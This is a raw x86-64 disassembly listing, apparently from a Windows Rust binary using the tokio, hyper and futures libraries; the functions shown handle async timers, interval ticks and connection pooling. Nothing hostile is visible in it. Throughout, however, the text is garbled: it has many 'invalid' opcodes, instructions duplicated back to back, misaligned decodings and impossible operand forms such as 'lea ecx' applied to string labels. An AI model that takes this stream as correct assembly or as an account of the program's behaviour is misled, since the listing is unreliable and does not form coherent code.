outsd dx, dword [rsi]
xchg esp, eax
and al, 0x60
add dword [rax], eax
add bl, dh
movq qword [rcx + rax*8 - 0x28], mm2
movdqu xmmword [rcx + rax*8 - 0x38], xmm1
movdqu xmmword [rcx + rax*8 - 0x48], xmm0
mov qword [rcx + rax*8 - 0x18], 0
mov qword [rcx + rax*8 - 0x10], 8
mov qword [rcx + rax*8 - 8], 0
inc qword [r10 + 0x58]
mov rax, qword [r10 + 0xa0]
cmp rax, qword [rbx - 8]
ja 0x14006f43c
lea rcx, [rsp + 0x190]
call fcn.140066b60
mov r8, qword [rsp + 0x58]
cmp byte [r8], 2
jb 0x14006fa79
mov rdi, qword [r8 + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsp + 0x58]
lea rcx, [r8 + 0x28]
mov rax, qword [r8 + 0x10]
mov rdx, qword [r8 + 0x18]
mov r8, qword [r8 + 0x20]
call qword [rax + 0x10]
nop
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x14006fc3e
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x140031ef2.1493
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rdi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x140141a48]
mov qword [rcx + 0x90], rax
add byte [rax], al
add byte [rax - 0x39], cl
sbb dword [rax], 0x48000000
mov dword [rcx + 0xa0], ebx
add byte [rax], al
add byte [rax - 0x39], cl
sbb dword [rax], 0x48000000
mov dword [rcx + 0xa0], ebx
add rbx, 0x58
mov qword [rcx + 0xa8], rbp
mov qword [rcx + 0xb0], r12
mov dword [rcx + 0xb8], esi
mov qword [rcx + 0xc0], r15
mov byte [rcx + 0xc8], 0
mov eax, dword [rsp + 0x41]
mov edx, dword [rsp + 0x44]
mov dword [rcx + 0xc9], eax
mov dword [rcx + 0xcc], edx
mov qword [rcx + 0xd0], r14
mov qword [rcx + 0xd8], r13
pxor xmm0, xmm0
movdqa xmmword [rcx + 0xe0], xmm0
mov qword [rcx + 0xf0], 0
mov rcx, rbx
mov rdx, rdi
mov r8, rdi
call fcn.1400654a0
test rax, rax
je 0x14006fbbd
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eaa70
invalid
add byte [rbx + 0x11275105], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rdi], rcx
je 0x14006fa41
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x20]
jmp 0x14006fa41
lea rdx, [r10 + 0x60]
mov rcx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x178]
call fcn.14010de50
mov r10, qword [rsp + 0x48]
mov rcx, qword [r10 + 0x40]
mov rbx, qword [r10 + 0x48]
and rsi, rbx
jmp 0x14006f925
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rsp
mov edx, 0x28
call fcn.140108630
ud2
call fcn.14010e550
lea rcx, str.value_already_sent
lea ecx, str.value_already_sent
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x12
call fcn.140108990
lea rcx, str.assertion_failed:_slot.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srconeshot.rs
lea r8, [0x14013e3e8]
mov edx, 0x20
call fcn.140108630
invalid
mov dword [rcx], ecx
invalid
mov ebx, 0xb9000989
or byte [rax], al
add byte [rax], al
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
mov ecx, 8
mov edx, 0x48
call fcn.1401082c0
lea rax, [0x14014f530]
mov qword [rsp + 0xc0], rax
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0xd0], 8
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rdx*8], ah
and al, 0xd0
mov dword [rsp + 0xd0], 8
and al, 0xd0
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
pxor mm0, mm0
invalid
invalid
jg 0x14006fc46
pxor xmm0, xmm0
pxor mm0, mm0
movdqu xmmword [rsp + 0xd8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
and al, 0xd8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xd129a
lea rcx, [rsp + 0xc0]
call fcn.140108560
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
mov ecx, 8
mov edx, 0x30
call fcn.1401082c0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140108880
lea rcx, [rsp + 0xc0]
call fcn.14006fd90
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
ror dword [rax - 1], 0x88
rol byte [rax], 1
add byte [rax], al
xor eax, eax
mov byte [rsp + 0xc0], al
add byte [rax - 0x73], cl
adc eax, 0xd1784
add byte [rax - 0x73], cl
adc eax, 0xd1784
lea rcx, [rsp + 0xc0]
call fcn.14010dd60
mov ecx, 0x80
mov edx, 0x80
call fcn.1401082c0
invalid
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add al, ch
sub eax, dword [rax]
lea rcx, [rsp + 0xc0]
lea ecx, [rsp + 0xc0]
call fcn.14006fd90
add byte [rax], al
mov al, 1
mov byte [rsp + 0xc0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xc0]
call fcn.14010dd60
int3
invalid
push rax
sbb byte [rax - 0x75], cl
or eax, 0x11247b
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi + 0x28]
lea rax, [r8 + 1]
cmp rax, 2
jae 0x14006fe72
mov rdi, qword [rsi + 0x20]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x14006fe2f
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x14006fe2f
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x14006fe53
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x14006fe53
call qword [rax + 8]
lock dec qword [rdi]
jne 0x14006fe69
mov rcx, qword [rsi + 0x20]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140034b00
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lock dec qword [r8 + 8]
jne 0x14006fdfe
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14006fdfe
and byte [rcx], al
add byte [rax], al
mov rdi, qword [rcx + 0x20]
movzx eax, byte [rdi + 0x40]
test al, al
je 0x14006fed1
mov al, 1
xchg byte [rdi + 0x41], al
xor ebp, ebp
test al, al
jne 0x1400708d6
xor eax, eax
xchg byte [rdi + 0x41], al
jmp 0x1400708d6
lea rbx, [rdi + 0x40]
mov r13, qword [rdx]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x78], rax
mov rax, qword [rcx]
mov r8d, dword [rcx + 8]
mov edx, 0x3b9aca00
mov qword [rsp + 0x38], rax
mul rdx
mov rbp, rax
movzx eax, byte [rcx + 0x18]
mov dword [rsp + 0x9c], eax
mov qword [rsp + 0x30], r8
add rbp, r8
adc rdx, 0
mov qword [rsp + 0xa8], rdx
mov r12, qword [rcx + 0x28]
lea r15, [r12 + 0x10]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0xa0], rax
add rax, 0x40
mov qword [rsp + 0xe0], rax
pcmpeqd xmm6, xmm6
mov qword [rsp + 0xb8], r12
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xd0], rbp
mov rax, qword [r13]
mov rcx, qword [r13 + 8]
call qword [rax]
mov rsi, rax
mov r14, rdx
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x140070882
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14006ff81
mov rcx, qword [rdi + 0x18]
call qword [rax + 0x18]
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r14
xor eax, eax
xchg byte [rdi + 0x20], al
movzx eax, byte [rbx]
test al, al
jne 0x14006feb8
mov rbx, qword [rsp + 0x78]
mov rcx, rbx
mov rdx, r13
call fcn.1400f43e0
mov ebp, eax
test al, al
jne 0x1400708d6
mov r14, qword [rbx + 0x10]
mov esi, dword [rbx + 0x18]
call fcn.1400df770
cmp esi, 0x3b4e7ec0
jb 0x14006fff0
mov r8, r14
inc r8
mov r13, qword [rsp + 0xa8]
mov edi, 0xff
je 0x140070916
lea ecx, [rsi - 0x3b4e7ec0]
jmp 0x140070006
lea ecx, [rsi + 0x4c4b40]
mov r8, r14
mov r13, qword [rsp + 0xa8]
mov edi, 0xff
add byte [rbp + 0x31], al
leave
xor r9d, r9d
cmp rax, r8
setne r9b
cmovb r9d, edi
xor r8d, r8d
cmp edx, ecx
setne r8b
cmovb r8d, edi
test r9b, r9b
cmovne r8d, r9d
cmp r8b, 1
jne 0x1400700a0
mov ecx, dword [rsp + 0x9c]
test ecx, ecx
je 0x1400700a0
cmp ecx, 1
jne 0x1400706b1
add rax, qword [rsp + 0x38]
add eax, dword [rsp + 0x38]
and al, 0x38
jb 0x140070916
add edx, dword [rsp + 0x30]
and al, 0x30
cmp edx, 0x3b9aca00
jb 0x140070091
inc rax
je 0x140070916
add edx, 0xc4653600
cmp edx, 0x3b9aca00
jb 0x140070091
mov ecx, edx
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x14007099f
imul ecx, ecx, 0x3b9aca00
sub edx, ecx
mov r14, rax
mov esi, edx
jmp 0x1400700c6
add r14, qword [rsp + 0x38]
jb 0x140070916
add esi, dword [rsp + 0x30]
cmp esi, 0x3b9aca00
jb 0x1400700c6
inc r14
inc esi
je 0x140070916
add esi, 0xc4653600
mov qword [rbx + 0x10], r14
jae 0x1400700da
mov dword [rbx + 0x18], esi
mov byte [rbx + 0x68], 0
cmp qword [rbx], 0
mov rax, qword [rbx + 8]
mov ecx, 0x118
sbb byte [rcx], al
add byte [rax], al
mov edx, 0xb8
cmove rcx, rdx
mov r8d, dword [rax + rcx + 0xa8]
cmp r8d, 0x3b9aca00
je 0x14007092e
mov rdx, qword [rax + rcx + 0xa0]
cmp esi, 0x3b8b87c1
jb 0x140070120
inc r14
je 0x140070916
add esi, 0xc474783f
jmp 0x140070126
add esi, 0xf423f
mov qword [rsp + 0x48], r14
mov dword [rsp + 0x50], esi
lea rcx, [rsp + 0x48]
call fcn.1400d5b50
mov ecx, edx
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
cmp edx, 0x3b9aca00
mov edx, 0
cmove rax, rdx
cmove ecx, edx
mov edx, 0x3e8
mul rdx
add rcx, rax
adc rdx, 0
mov rax, 0xfffffffffffffffd
cmovne rcx, rax
mov rax, qword [rbx + 0x40]
cmp rcx, 0xfffffffffffffffd
mov rdx, 0xfffffffffffffffd
cmovb rdx, rcx
nop word cs:[rax + rax]
cmp rax, rdx
ja 0x14007019d
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140070190
lea rax, [r12 + 1]
cmp rax, 2
jb 0x1400708d6
mov rax, qword [r12]
lea rbp, [rsp + 0x48]
nop word cs:[rax + rax]
test rax, rax
je 0x1400708d4
js 0x140070911
lea rcx, [rax + 1]
lock cmpxchg qword [r12], rcx
jne 0x1400701c0
mov qword [rsp + 0x40], r12
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0x10], cl
jne 0x14007083a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140070855
movzx ecx, byte [r12 + 0x11]
mov al, 1
test cl, cl
jne 0x14007089e
mov byte [rsp + 0x2b], al
mov qword [rsp + 0xd8], r15
mov eax, dword [r12 + 0xd0]
mov dword [rsp + 0x2c], eax
cmp eax, 0x3b9aca00
je 0x140070946
mov rax, qword [r12 + 0xc8]
mov qword [rsp + 0xc8], rax
call fcn.1400df770
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], edx
mov rax, qword [r12 + 0x70]
mov qword [rsp + 0x80], rax
test rax, rax
je 0x140070640
mov r15, qword [r12 + 0x58]
mov rax, qword [r12 + 0x60]
mov qword [rsp + 0xf0], rax
lea rbx, [r15 + 0x10]
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
not eax
mov rcx, qword [r12 + 0x68]
mov qword [rsp + 0xb0], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x88], r15
jmp 0x1400702e0
mov r12, qword [rsp + 0xb8]
mov edi, 0xff
lea rbp, [rsp + 0x48]
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xf8]
lea eax, [rdx - 1]
and eax, edx
dec rcx
je 0x140070640
test ax, ax
jne 0x14007030c
nop word cs:[rax + rax]
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
add r15, 0xfffffffffffffb80
add rbx, 0x10
cmp eax, 0xffff
je 0x1400702f0
not eax
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0xf8], rax
tzcnt eax, eax
neg rax
lea rax, [rax + rax*8]
lea rcx, [r15 + rax*8]
mov rsi, qword [r15 + rax*8 - 8]
test rsi, rsi
mov qword [rsp + 0xc0], rcx
je 0x140070490
mov r14, qword [rcx - 0x10]
xor r13d, r13d
jmp 0x140070369
cmp cl, 1
je 0x1400703f0
inc r13
add r14, 0x48
cmp rsi, r13
je 0x1400702c2
mov rax, qword [r14 + 0x28]
movzx eax, byte [rax + 0x10]
test al, al
jne 0x1400703f0
cmp byte [r14 + 0x10], 2
mov rax, qword [r14]
mov rax, qword [rax + 0x10]
jne 0x140070390
cmp rax, 3
jne 0x140070396
jmp 0x1400703f0
cmp rax, 1
jne 0x1400703f0
mov rdx, qword [r14 + 0x38]
mov r8d, dword [r14 + 0x40]
mov rcx, rbp
call fcn.1400d5b50
cmp edx, 0x3b9aca00
jne 0x1400703b0
xor eax, eax
xor ecx, ecx
cmp rax, qword [rsp + 0xc8]
setne cl
cmovb ecx, edi
test cl, cl
jne 0x140070350
xor eax, eax
cmp edx, 0x3b9aca00
je 0x1400703d0
mov eax, edx
cmp eax, dword [rsp + 0x2c]
setne cl
jae 0x140070350
jmp 0x140070359
mov ebp, 0xff
inc r13
mov rcx, r14
call fcn.140066b60
mov r12d, 1
mov rdi, rsi
sub rdi, r13
jne 0x1400704a7
mov r13, qword [rsp + 0xc0]
sub rsi, r12
mov qword [r13 - 8], rsi
jne 0x1400702b0
mov rdx, qword [rsp + 0x88]
mov rax, rdx
sub rax, r13
sar rax, 3
movabs rcx, 0x8e38e38e38e38e39
imul rax, rcx
lea rcx, [rax - 0x10]
and rcx, qword [rsp + 0xf0]
movdqu xmm0, xmmword [rdx + rcx]
pcmpeqb xmm0, xmm6
psllw xmm0, 7
pmovmskb edx, xmm0
test edx, edx
mov r12, qword [rsp + 0xb8]
mov edi, 0xff
lea rbp, [rsp + 0x48]
je 0x1400705b4
bsr dx, dx
xor edx, 0xf
jmp 0x1400705b8
mov ebp, 0xff
xor r13d, r13d
xor r12d, r12d
mov rdi, rsi
sub rdi, r13
je 0x140070412
lea r14, [r13*8]
add r14, r13
shl r14, 3
mov r13, qword [rsp + 0xc0]
add r14, qword [r13 - 0x10]
jmp 0x1400704e8
inc r12
mov rcx, r14
call fcn.140066b60
add r14, 0x48
dec rdi
je 0x14007041a
mov rax, qword [r14 + 0x28]
movzx eax, byte [rax + 0x10]
test al, al
jne 0x1400704d0
cmp byte [r14 + 0x10], 2
mov rax, qword [r14]
mov rax, qword [rax + 0x10]
jne 0x14007050a
cmp rax, 3
je 0x1400704d0
jmp 0x140070510
cmp rax, 1
jne 0x1400704d0
mov rdx, qword [r14 + 0x38]
mov r8d, dword [r14 + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400d5b50
cmp edx, 0x3b9aca00
jne 0x14007052c
xor eax, eax
xor ecx, ecx
cmp rax, qword [rsp + 0xc8]
setne cl
cmovb ecx, ebp
test cl, cl
jne 0x140070555
xor eax, eax
cmp edx, 0x3b9aca00
je 0x14007054c
mov eax, edx
cmp eax, dword [rsp + 0x2c]
setne cl
jb 0x14007055e
cmp cl, 1
je 0x1400704d0
lea rax, [r12*8]
lea rax, [rax + rax*8]
mov rcx, r14
sub rcx, rax
mov rdx, qword [r14 + 0x40]
neg rax
mov qword [r14 + rax + 0x40], rdx
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
add r14, 0x48
dec rdi
jne 0x1400704e8
jmp 0x14007041a
mov dx, 0x10
mov r8, qword [rsp + 0x88]
movdqu xmm0, xmmword [r8 + rax]
pcmpeqb xmm0, xmm6
pmovmskb r8d, xmm0
or r8d, 0x10000
tzcnt r8d, r8d
add edx, r8d
mov r8b, 0x80
cmp dx, 0xf
ja 0x140070602
mov rdx, qword [rsp + 0xb0]
inc rdx
mov qword [rsp + 0xb0], rdx
mov qword [r12 + 0x68], rdx
mov r8b, 0xff
mov rdx, qword [rsp + 0x88]
mov byte [rdx + rax], r8b
mov byte [rdx + rcx + 0x10], r8b
mov rax, qword [rsp + 0x80]
dec rax
mov qword [rsp + 0x80], rax
mov qword [r12 + 0x70], rax
mov rcx, r13
call fcn.140066860
jmp 0x1400702c2
cmp byte [rsp + 0x2b], 0
je 0x14007065a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14007086a
xor eax, eax
mov r15, qword [rsp + 0xd8]
xchg byte [r15], al
cmp al, 2
mov r13, qword [rsp + 0xe8]
jne 0x14007067c
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x140070691
lea rcx, [rsp + 0x40]
call fcn.140066480
mov rbx, qword [rsp + 0xe0]
movzx eax, byte [rbx]
mov rdi, qword [rsp + 0xa0]
test al, al
je 0x14006ff54
jmp 0x14007088d
mov rdi, rax
add rdi, qword [rsp + 0x38]
jb 0x140070916
mov rcx, qword [rsp + 0x30]
lea ebx, [rcx + rdx]
cmp ebx, 0x3b9aca00
jb 0x140070707
inc rdi
je 0x140070916
add ebx, 0xc4653600
cmp ebx, 0x3b9aca00
jb 0x140070707
mov ecx, ebx
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rdi, rcx
jb 0x14007099f
imul ecx, ecx, 0x3b9aca00
sub ebx, ecx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x50], edx
lea rcx, [rsp + 0x48]
mov rdx, r14
mov r8d, esi
call fcn.1400d5b50
mov ecx, edx
mov r8, qword [rsp + 0xd0]
mov rdx, r8
or rdx, r13
je 0x140070905
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r9d, 0
cmove ecx, r9d
cmove rdx, r9
cmove rax, r9
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], r13
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rdx
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x100]
call fcn.140101d30
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
test rax, rax
jne 0x140070976
movq rcx, xmm0
mov rax, rcx
shr rax, 9
movabs rdx, 0x44b82fa09b5a53
mul rdx
shr rdx, 0xb
sub rdi, rdx
jb 0x14007095e
imul eax, edx, 0x3b9aca00
sub ecx, eax
cmp ebx, ecx
jae 0x1400707e9
test rdi, rdi
je 0x14007095e
dec rdi
add ebx, 0x3b9aca00
mov esi, ebx
sub esi, ecx
cmp esi, 0x3b9aca00
jae 0x140070807
mov r14, rdi
mov rbx, qword [rsp + 0x78]
mov edi, 0xff
jmp 0x1400700c6
mov eax, esi
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add rdi, rax
mov rbx, qword [rsp + 0x78]
jb 0x14007099f
imul eax, eax, 0x3b9aca00
sub esi, eax
mov r14, rdi
mov edi, 0xff
jmp 0x1400700c6
mov rcx, r15
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140070204
call fcn.1401105f0
movzx ecx, byte [r12 + 0x11]
test cl, cl
je 0x140070214
jmp 0x14007089a
call fcn.1401105f0
test al, al
jne 0x14007065a
mov byte [r12 + 0x11], 1
jmp 0x14007065a
mov rcx, r14
call qword [rsi + 0x18]
jmp 0x14006feb8
mov rdi, qword [rsp + 0xa0]
jmp 0x14006feb8
test al, al
je 0x1400708ad
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne case.0x1400d8602.89
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x1400708bf
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, qword [rsp + 0x40]
lock dec qword [rax]
jne 0x1400708d4
lea rcx, [rsp + 0x40]
call fcn.140066480
xor ebp, ebp
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x120]
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401105f0
test al, al
jne 0x1400708ad
mov byte [r12 + 0x11], 1
jmp 0x1400708ad
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
call fcn.140108b20
mov ah, 0xec
or eax, 0x820fe800
or dword [rax], eax
call fcn.14010de30
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
mov edx, 0x28
call fcn.140108990
lea rcx, [0x14014d3d0]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140108990
lea rcx, str.interval_assumes_timeout
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x18
call fcn.140108990
lea rcx, str.overflow_when_subtracting_duration_from_instant
lea r8, [0x14014a6b8]
popfq
or eax, 0x2fba00
add byte [rax], al
popfq
or eax, 0x2fba00
add byte [rax], al
call fcn.140108990
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, str.too_much_time_has_elapsed_since_the_interval_was_supposed_to_tick
lea r9, [0x14014c600]
lea r8, [rsp + 0x48]
mov edx, 0x41
call fcn.1401088e0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
pop rax
or byte [rax], al
add byte [rax], al
pop rax
or byte [rax], al
add byte [rax], al
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea edx, [0x140149448]
lea edx, [0x140149448]
lea rcx, [rsp + 0x48]
call fcn.140108560
int3
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov ah, 0x24
nop
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rax, qword [rcx]
jmp 0x140070a1a
mov ah, 0x24
nop
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140070a45
test al, 4
je 0x140070c94
test al, 3
je 0x140070a00
cmp rax, 0x3f
jbe 0x140070cac
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
add dh, al
cmpxchg qword [rsi], rcx
add dh, al
cmpxchg qword [rsi], rcx
jne 0x140070a1a
movzx eax, dl
lea rcx, [0x1401785c4]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x68], esi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x80], 0
add byte [rax], al
mov eax, dword [rsi + 0x38]
and eax, 0xfffffffe
loopne case.0x1400d8602.95
loopne case.0x1400d8602.95
cmp eax, 0x3b9aca00
je 0x140070cc4
cmp ecx, dword [rdi]
test byte [rdi], ch
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [rsi + 0x30]
invalid
invalid
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
xor byte [rax - 0x75], cl
mov rdi, qword [rsi + 0x28]
jle case.0x14005cc92.65
sub byte [rbx + 0x11187105], cl
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x3e7401f8], al
add byte [rbx + 0x3e7401f8], al
xorps xmm6, xmm6
test eax, eax
jne 0x140070b26
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
sbb byte [r9], dl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov rbx, rcx
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x11181405], ecx
adc al, 0x18
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov eax, dword [0x140182314]
adc al, 0x18
adc dword [rax], eax
mov rdx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
add al, 0xc2
ret 0x100f
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x70
lea rdx, [rsp + 0x70]
call fcn.14006fe90
mov ecx, dword [0x140182314]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
dec dword [rbx + 0x1117de0d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
invalid
je 0x140070b84
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
invalid
je 0x140070b84
add dword [rbp + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x140070b9e
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x734bc
mov ebx, eax
ret
call fcn.1400d4720
mov eax, ebx
fadd st(6)
xchg dword [rax], esp
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx + 0x2087c6d8], cl
fadd st(6)
xchg dword [rax], esp
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11178a0d], ecx
or eax, 0x11178a
invalid
invalid
